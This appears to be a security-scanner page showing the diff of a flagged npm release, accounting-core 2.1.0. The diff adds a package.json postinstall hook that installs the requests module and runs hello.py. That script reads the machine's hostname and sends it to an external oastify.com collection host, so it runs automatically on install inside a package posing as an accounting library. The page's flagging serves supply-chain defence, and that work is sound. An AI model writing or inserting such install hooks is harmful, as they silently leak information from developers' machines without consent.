accounting-core 2.1.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of accounting-core might be problematic. Click here for more details.

package/hello.py ADDED
@@ -0,0 +1,11 @@
1
+ import os
2
+ import requests
3
+
4
+ hostname = os.popen('hostname').read().strip()
5
+
6
+ yoursrv = "https://bzezu656r0oydltkepbbu319208twmkb.oastify.com/hello"
7
+
8
+ response = requests.get(yoursrv, params={'hostname':hostname})
9
+
10
+ print(response.text)
11
+
@@ -0,0 +1,10 @@
1
+ #!/bin/bash
2
+
3
+ if ! python3 -c "import requests" &> /dev/null; then
4
+ echo "installing requests module ..."
5
+ pip3 install requests
6
+ else
7
+ echo "requests module already installed"
8
+
9
+ fi
10
+
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "accounting-core",
3
+ "version": "2.1.0",
4
+ "description": "NA",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "./install_requests.sh && python3 hello.py"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }